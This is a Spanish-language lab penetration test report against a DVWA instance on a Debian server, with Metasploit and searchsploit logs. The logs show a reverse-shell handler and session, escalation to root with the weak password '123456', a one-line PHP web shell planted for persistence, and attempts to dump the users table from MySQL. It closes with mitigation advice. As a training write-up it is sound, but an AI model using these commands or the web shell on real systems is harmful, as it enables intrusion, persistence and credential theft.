1. Introducción

Este reporte detalla la intrusión exitosa en el servidor Debian de laboratorio. El objetivo fue identificar vulnerabilidades en el servicio web Apache 2.4.6 y el sistema operativo para obtener el máximo privilegio posible (root).

2. Metodología

Se aplicó un ciclo de vida de ataque completo:

1. Reconocimiento: Búsqueda de exploits conocidos para las versiones de software detectadas.
2. Explotación: Inyección de comandos para obtener una shell reversa.
3. Escalada de Privilegios: Uso de credenciales obtenidas para pasar de usuario web a superusuario.
4. Persistencia: Instalación de una puerta trasera (backdoor).

3. Resultados

A. Reconocimiento (Evidencia Captura 3)

Se utilizó searchsploit para analizar el vector de ataque. Se identificaron múltiples vulnerabilidades críticas en:

- Debian 6.1: vulnerabilidades de elevación de privilegios locales.
- Apache 2.4.6: vulnerabilidades de ejecución de código remoto (RCE) y denegación de servicio.

B. Explotación (Evidencia Captura 1 y 2)

Se configuró un Multi Handler en Metasploit escuchando en el puerto 8888. Mediante una inyección de comandos en el formulario web de DVWA, se ejecutó un payload de Python que devolvió la conexión al atacante.

- Comando atacante: msfconsole -> multi/handler -> set LPORT 8888 -> run
- Resultado: Conexión establecida exitosamente como www-data.

4. Escalación de Privilegios (Evidencia Captura 2)

Una vez dentro como www-data, se estabilizó la shell con Python y se procedió a la escalada:

- Técnica: uso del comando su root con la contraseña identificada en la fase de enumeración (123456).

- Confirmación: El comando whoami devolvió el usuario root. Esto otorga control total sobre el servidor, los archivos y las bases de datos.

5. Persistencia y SQL (Evidencia Captura 1)

Para garantizar el acceso futuro sin necesidad de Metasploit, se realizaron las siguientes acciones:

1. Web Shell: se inyectó código PHP en la ruta web para ejecución remota de comandos: echo '<?php system($_GET["c"]); ?>' > /var/www/html/DVWA/vulnerabilities/exec/final.php
2. Intento de SQL: se intentó extraer la base de datos de usuarios. Aunque MySQL denegó el acceso inicialmente por configuración de host, la persistencia permite realizar ataques de fuerza bruta locales al ser ya el usuario root.

6. Mitigación y conclusión

- Mitigación: Actualizar el Kernel de Debian (vulnerable a múltiples exploits locales) y parchear la aplicación DVWA. Se debe deshabilitar la capacidad del usuario www-data para ejecutar comandos de sistema y escribir en directorios web.
- Conclusión: el sistema fue completamente comprometido. La capacidad del atacante para escalar a root en pocos minutos demuestra una política de contraseñas débil y un sistema desactualizado.

```
msf exploit(multi/handler) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.1.43
LHOST => 192.168.1.43
msf exploit(multi/handler) > set LPORT 8888
LPORT => 8888
msf exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.1.43:8888
msf exploit(multi/handler) > [*] Sending stage (36 bytes) to 192.168.1.10
[*] Command shell session 1 opened (192.168.1.43:8888 -> 192.168.1.10:51580) at 2026-03-10 22:30:22 +0100
sessions -i 1
[*] Starting interaction with 1...


Shell Banner:
<ulnerabilities/exec$ _Yj?X_IyjXRh//shh/bin_RS_                _WA/vulnerabilities/exec$ _j_j_Yj?X_Iyjj_Yj?X_Iyj _
-----


www-data@debian:/var/www/html/DVWA/vulnerabilities/exec$ mysql -u dvwa -p123456 -e "USE dvwa; SELECT user,password FROM users;"
<456 -e "USE dvwa; SELECT user,password FROM users;"
ERROR 1698 (28000): Access denied for user 'dvwa'@'localhost'
www-data@debian:/var/www/html/DVWA/vulnerabilities/exec$ mysql -h 127.0.0.1 -u dvwa -p123456 -e "USE dvwa; SELECT user,password FROM users;"
<456 -e "USE dvwa; SELECT user,password FROM users;"
ERROR 1698 (28000): Access denied for user 'dvwa'@'localhost'
www-data@debian:/var/www/html/DVWA/vulnerabilities/exec$ echo '<?php system($_GET["c"]); ?>' > /var/www/html/DVWA/vulnerabilities/exec/final.php
<> /var/www/html/DVWA/vulnerabilities/exec/final.php
www-data@debian:/var/www/html/DVWA/vulnerabilities/exec$
```

```
┌──(dani㉿kali)-[~]
└─$ msfconsole
Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
Metasploit tip: Run modules in the background with run -j so you can
keep working

IIIIII    dTb.dTb        _.___._
  II     4'  v  'B   .'"".'/|\`."".'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


       =[ metasploit v6.4.111-dev                         ]
+ -- --=[ 2,607 exploits - 1,323 auxiliary - 1,710 payloads     ]
+ -- --=[ 430 post - 49 encoders - 14 nops - 9 evasion          ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload cmd/unix/reverse_netcat
payload => cmd/unix/reverse_netcat
msf exploit(multi/handler) > set LHOST 192.168.1.43
LHOST => 192.168.1.43
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.1.43:4444
msf exploit(multi/handler) > [*] Command shell session 1 opened (192.168.1.43:4444 -> 192.168.1.10:50514) at 2026-03-10 20:46:37 +0100
sessions -i 1
[*] Starting interaction with 1...

python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@debian:/var/www/html/DVWA/vulnerabilities/exec$ su root
su root
Password: 123456

root@debian:/var/www/html/DVWA/vulnerabilities/exec# whoami
whoami
root
```

```
┌──(dani㉿kali)-[~]
└─$ searchsploit debian 6.1
---------------------------------------------------------------------------------------------------------------------------------------
 Exploit Title                                                                                                                         |  Path
---------------------------------------------------------------------------------------------------------------------------------------
Debian 2.0/2.0 r5 / FreeBSD 3.2 / OpenBSD 2.4 / RedHat 5.2 i386 / S.u.S.E 6.1 - 'Lsof' Local Buffer Overflow (1)                      | linux/local/19373.c
Debian 2.0/2.0 r5 / FreeBSD 3.2 / OpenBSD 2.4 / RedHat 5.2 i386 / S.u.S.E 6.1 - 'Lsof' Local Buffer Overflow (2)                      | linux/local/19374.c
Debian 2.1/2.2 / Mandrake 6.0/6.1/7.0 / RedHat 6.x - 'rpc.lockd' Remote Denial of Service                                             | linux/dos/20025.txt
Linux Kernel 2.2/2.3 (Debian Linux 2.1 / RedHat Linux 6.0 / SuSE Linux 6.1) - IP Options                                             | linux/dos/19241.c
Linux Kernel < 2.6.19 (Debian 4) - 'udp_sendmsg' Local Privilege Escalation (3)                                                      | linux/local/9575.c
---------------------------------------------------------------------------------------------------------------------------------------
Shellcodes: No Results

┌──(dani㉿kali)-[~]
└─$ searchsploit apache 2.4.6
---------------------------------------------------------------------------------------------------------------------------------------
 Exploit Title                                                                                                                         |  Path
---------------------------------------------------------------------------------------------------------------------------------------
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution                                                                        | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner                                                                      | php/remote/29316.py
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak                                                                                       | linux/webapps/42745.py
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service                                                                                    | multiple/dos/26710.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow                                                                   | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)                                                             | unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)                                                             | unix/remote/47080.c
Apache OpenMeetings 1.9.x < 3.1.0 - '.ZIP' File Directory Traversal                                                                    | linux/webapps/39642.txt
Apache Tomcat < 5.5.17 - Remote Directory Listing                                                                                      | multiple/remote/2061.txt
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal                                                                                    | unix/remote/14489.c
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC)                                                                              | multiple/remote/6229.txt
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (1)                           | windows/webapps/42953.txt
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (2)                           | jsp/webapps/42966.py
Apache Xerces-C XML Parser < 3.1.2 - Denial of Service (PoC)                                                                           | linux/dos/36906.txt
Webfroot Shoutbox < 2.32 (Apache) - Local File Inclusion / Remote Code Execution                                                       | linux/remote/34.pl
---------------------------------------------------------------------------------------------------------------------------------------
Shellcodes: No Results
```